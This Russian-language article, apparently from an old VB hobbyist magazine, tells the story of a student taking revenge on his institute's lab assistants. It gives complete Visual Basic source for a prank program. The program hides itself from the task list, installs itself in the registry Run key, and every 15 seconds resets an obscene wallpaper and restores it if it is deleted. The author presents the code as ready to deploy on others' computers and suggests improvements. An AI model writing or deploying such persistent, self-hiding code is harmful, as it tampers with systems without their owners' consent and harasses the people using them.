• Партнер

  • Не знаю, как Вас, а меня
    лаборантки в моём институте достали. Без тапочек
    в компьютерный класс не входи, в интернет не
    лазай, с соседом через winpopup не разговаривай, в чат
    не ходи, на диски других компов не заходи,
    дискетами не пользуйся…просто тихий ужас. А
    тупые какие они!…жуть. Однажды я ногой задел шнур
    питания компьютера, ну комп и отрубился…ой что
    тут началось… “Да ты компьютер сломал, новый
    покупать будешь!” – орали они. Начали дёргать за
    все шнуры на системнике, вот только в розетку не
    догадались включить. Ну, поорали и пошли за
    начальством говорить, что я компьютер сломал, а
    пока они ходили, я быстренько включил комп в
    розетку. Приходят они, с самой главной
    лаборанткой, аж из коридора слышно как вопят,
    заходят – “Вот это он компьютер сломал”, а комп
    работает. “Вы что попутали?”, - говорю я, -
    “ничего я не ломал, всё работает”. В общем, тупые
    они. А однажды мой друг “захватил” окно
    проводника, сохранил его как картинку и поставил
    его в обои на рабочий стол, так эти бедные
    лаборантки минут десять пытались закрыть
    нарисованное окно!

    Как-то достали они
    меня в очередной раз, пришёл я домой ужасно злой.
    “Ну, хватит детских приколов”,- подумал я, -
    “пора их проучить по-настоящему!”. Чуть
    поразмыслил, и пришла мне в голову вот, какая
    идея. А напишу-ка я программу на родном VB, которая
    бы всё время ставила одни и те же обои на рабочий
    стол, да еще сделаю так чтобы картинку для обоев
    удалить нельзя было, потом, что бы прогу не было
    “видно” в окне “завершение работы программы ”,
    которое появляется при нажатии Ctrl+Alt+Del, что бы
    прога автоматически запускалась при старте Windows,
    чтобы прога всё время прописывала обои в реестр и
    так как она всегда работает, то её нельзя будет
    удалить. Сказано - сделано. Открываю любимый VB,
    выбираю стандартный exe проект, добавляю модуль. В
    форму ставлю пикчер бокс, в него загоняю заранее
    подготовленную развратную картинку с надписью
    “Лаборантки must die!!!” - это будет картинка для
    наших обоев, которые будут появляться на компах у
    лаборанток. Захожу в модуль. Перво-наперво нужно
    сделать, чтобы прогу не было “видно” в списке
    задач. Можно было, конечно, написать в Sub Main
    строчку App.TaskVisible = False, и всё, но я воспользовался
    Api функциями. Для этого в разделе модуля Declarations
    поставил следующее объявления

    'Объявления для того чтобы
    прогу не было "видно"

    Declare Function RegisterServiceProcess Lib
    "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
    Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long

    Чтобы прогу не было
    “видно” нужно в главной процедуре поставить
    следующую строчку.

    'Теперь прогу не будет видно
    при нажатии Ctrl+Alt+Del

    Call RegisterServiceProcess(GetCurrentProcessId, 1)

    Идём дальше. Теперь
    нужно поставить обои на рабочий стол.

    Добавляю следующие
    строки в раздел объявлений модуля

    ' Объявления для того чтобы
    поставить картинку на рабочий стол

    Declare Function SystemParametersInfo Lib
    "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal
    uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
    Public Const SPI_SETDESKWALLPAPER = 20

    Добавляем процедуру,
    которая непосредственно ставит определённую
    картинку на рабочий стол.

    'Процедура, ставящая картинку
    на рабочий стол

    Public Sub SetWallpaper(File As String)
    SystemParametersInfo SPI_SETDESKWALLPAPER, 0, ByVal File, True
    End Sub

    Теперь чтобы изменить
    обои потребуется написать

    SetWallpaper "обои.bmp"

    Теперь более детально
    обдумываю алгоритм программы. Весь код проги
    будет находиться в sub main. Сначала прога должна
    “спрятать” себя. Это я уже знаю как сделать.
    Потом она должна проверить не поменял ли кто
    обои, эту инфу нужно считать из реестра, если обои
    уже другие, то снова нужно поставить свои. Прога
    должна запускаться каждый раз при старте винды, а
    то лаборантка перезагрузит комп и прога из
    памяти удалится. Для этого нужно внести
    некоторые изменения в реестр. Если изменения
    удалили, то их прописываем снова. После этого
    проверяем не удали ли bmp файл для обоев, если
    удалили, то сохраняем его снова используя SavePicture,
    после всего этого делаем небольшую задержку,
    например, на секунд 15, чтобы лаборантка успела
    поменять обои и с ужасом увидела через 15 сек всё
    ту же картинку. Итак, весь алгоритм теперь ясен,
    продолжаю писать код. Чтобы вносить изменения в
    реестр делаю следующие объявления в модуле.

    'Объявления для работы с
    реестром

    Public Const HKEY_CLASSES_ROOT = &H80000000
    Public Const HKEY_CURRENT_USER = &H80000001
    Public Const HKEY_LOCAL_MACHINE = &H80000002
    Public Const HKEY_USERS = &H80000003
    Public Const HKEY_PERFORMANCE_DATA = &H80000004
    Public Const HKEY_CURRENT_CONFIG = &H80000005
    Public Const HKEY_DYN_DATA = &H80000006
    Public Const REG_NONE = 0
    Public Const REG_SZ = 1
    Public Const REG_EXPAND_SZ = 2
    Public Const REG_BINARY = 3
    Public Const REG_DWORD = 4
    Public Const REG_DWORD_LITTLE_ENDIAN = 4
    Public Const REG_DWORD_BIG_ENDIAN = 5
    Public Const REG_LINK = 6
    Public Const REG_MULTI_SZ = 7
    Public Const REG_RESOURCE_LIST = 8
    Public Const REG_FULL_RESOURCE_DESCRIPTOR = 9
    Public Const REG_RESOURCE_REQUIREMENTS_LIST = 10
    Public Const REG_CREATED_NEW_KEY = &H1
    Public Const REG_OPENED_EXISTING_KEY = &H2
    Public Const REG_WHOLE_HIVE_VOLATILE = &H1
    Public Const REG_REFRESH_HIVE = &H2
    Public Const REG_NOTIFY_CHANGE_NAME = &H1
    Public Const REG_NOTIFY_CHANGE_ATTRIBUTES = &H2
    Public Const REG_NOTIFY_CHANGE_LAST_SET = &H4
    Public Const REG_NOTIFY_CHANGE_SECURITY = &H8
    Public Const REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or
    REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)
    Public Const REG_OPTION_RESERVED = 0
    Public Const REG_OPTION_NON_VOLATILE = 0
    Public Const REG_OPTION_VOLATILE = 1
    Public Const REG_OPTION_CREATE_LINK = 2
    Public Const REG_OPTION_BACKUP_RESTORE = 4
    Public Const READ_CONTROL = &H20000
    Public Const KEY_QUERY_VALUE = &H1
    Public Const KEY_SET_VALUE = &H2
    Public Const KEY_CREATE_SUB_KEY = &H4
    Public Const KEY_ENUMERATE_SUB_KEYS = &H8
    Public Const KEY_NOTIFY = &H10
    Public Const SYNCHRONIZE = &H100000
    Public Const KEY_CREATE_LINK = &H20
    Public Const STANDARD_RIGHTS_ALL = &H1F0000
    Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or
    KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not
    SYNCHRONIZE))
    Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)
    Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
    Public Const ERROR_SUCCESS = 0&
    Public Const STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)
    Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
    Public Const KEY_EVENT = &H1
    Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA"
    (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
    Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA"
    (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    Declare Function RegSetValueEx Lib "advapi32.dll" Alias
    "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal
    Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Declare Function RegQueryValueEx Lib "advapi32.dll" Alias
    "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal
    lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

    Добавляю пару
    процедур так же необходимых для работы с
    реестром.

    ' Процедура для записи инфы в
    реестр

    Public Sub savestring(hKey As Long, strPath As
    String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(hKey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
    End Sub

    ' Процедура для чтения инфы из
    реестра

    Public Function getstring(hKey As Long, strPath As
    String, strValue As String)
    Dim keyhand As Long
    Dim datatype As Long
    Dim lResult As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
    r = RegOpenKey(hKey, strPath, keyhand)
    lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&,
    lDataBufSize)
    If lValueType = REG_SZ Then
    strBuf = String(lDataBufSize, " ")
    lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
    intZeroPos = InStr(strBuf, Chr$(0))
    If intZeroPos > 0 Then
    getstring = Left$(strBuf, intZeroPos - 1)
    Else
    getstring = strBuf
    End If
    End If
    End If
    End Function

    Вписываю объявления
    для определения в каком каталоге установлена
    Винда.

    'Объявления чтобы
    определить каталог, в который установлена Винда

    Public Declare Function
    GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal
    lpBuffer As String, ByVal nSize As Long) As Long

    Теперь определимся
    куда именно в реестре и какую инфу нужно
    прописывать чтобы прога автоматически
    запускалась при старте Windows. Чтобы это было
    возможно в ключ HKEY_LOCAL_MACHINE,
      Software\Microsoft\Windows\CurrentVersion\Run

    Записываю
    произвольный строковый параметр, например,
    “Лаборантки must die” и содержание “путь к проге”.
    Если эту инфу удалили, то прописываю её еще раз. А
    чтобы узнать не поменяли ли обои считываю инфу в
    следующем ключе.

    HKEY_USERS, ".Default\Control
    Panel\Desktop", "Wallpaper"

    Если обои поменяли, то
    ставлю их снова. Для задержки использую вот такую
    процедуру.

    ' Процедура для
    задержки программы

    Public Sub Sleep(NumberOfSecond As
    Double)
    Dim FinishTime As Date
    FinishTime = DateAdd("s", NumberOfSecond, Now)
    Do Until FinishTime < Now
    DoEvents
    Text1 = Time
    Loop
    End Sub

    Собираю всю инфу
    вместе и получаю главную процедуру.

    ' Основная процедура проги.

    Sub Main()
    Dim strString As String
    Dim Success&, WinDir$
    WinDir = Space(144)
    Success = GetWindowsDirectory(WinDir, 144)
    WinDir = Trim(WinDir)
    WinDir = Left(WinDir, Len(WinDir) - 1) & "\"

    'Теперь прогу не будет
    видно при нажатии Ctrl+Alt+Del

    Call RegisterServiceProcess(GetCurrentProcessId, 1)
    Do

    'Если вдруг запись в
    реестре кто-л. удалил, то прописываем
    её еще разок.

    strString = getstring(HKEY_USERS,
    ".Default\Control Panel\Desktop", "Wallpaper")
    If strString <> WinDir & "beer.bmp" Then 'Путь
    к обоям

    SetWallpaper WinDir & "beer.bmp"
    End If

    'Если вдруг запись в реестре
    кто-л. удалил, то прописываем
    её
    еще разок.

    strString = getstring(HKEY_LOCAL_MACHINE,
    "Software\Microsoft\Windows\CurrentVersion\Run", "Лаборанки must
    die")
    If strString <> App.Path Then 'Путь к проге,
    чтобы она загружалась каждый раз при загрузке
    Винды

    Call savestring(HKEY_LOCAL_MACHINE,
    "Software\Microsoft\Windows\CurrentVersion\Run", "Лаборанки must
    die", App.Path)

    End If

    'Если удалили
    картинку, то сохраняем её еще раз.

    x$ = Dir$(WinDir & "beer.bmp")
    If x$ = "" Then
    SavePicture Form1.Picture1.Picture, WinDir & "beer.bmp"
    End If

    'Делаем задержку

    Sleep 15
    Loop
    End Sub

    Если не очень понятно, то
    скачайте весь проект, тогда станет всё намного
    яснее. Проект содержит пояснения.

    Теперь несколько советов по
    улучшению проги. Можете сделать так чтобы прога
    запускалась в определённое время, можно сделать
    так чтобы Вы сами указывали в командной строке
    через сколько минут запускаться проге, для этого
    удобно использовать функцию Command(), чтобы
    проверить как она работает добавьте на форму
    кнопку и в процедуре её нажатия напишите Print
    Command(), затем сделаёте exe файл, запустите его с
    любым параметром в командной строке, нажмите на
    кнопку формы и прога тут же напечатает этот
    параметр. И еще в первом номере журнала – VB Мания
    www.vbmania.h1.ru есть статья “Избавляемся от msvbvm60.dll и
    уменьшаем размер программы”, во втором номере
    есть дополнение к этой статье, советую Вам
    изучить информацию в этих статьях, тогда Вы
    сможете к своей проге прилепить msvbvm60.dll (они будут
    в одном exe файле), и Вам не придётся тащить два
    файла, чтобы поприкалываться над лаборантками.
    Исходники программы можно найти на сайте
    электронного журнала о VB – VB Мания www.vbmania.h1.ru. Там же Вы
    сможете узнать какие еще гадости можно делать
    используя VB. Ах, да, чуть не забыл, если будете
    проверять эту прогу на своём компе, то чтобы
    избавиться от неё просто перезагрузите комп в
    режиме эмуляции MS-Dos, а потом удалите саму прогу
    (exe файл).

    Ладно, всё, пошел на дело.

    Диканский Андрей.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии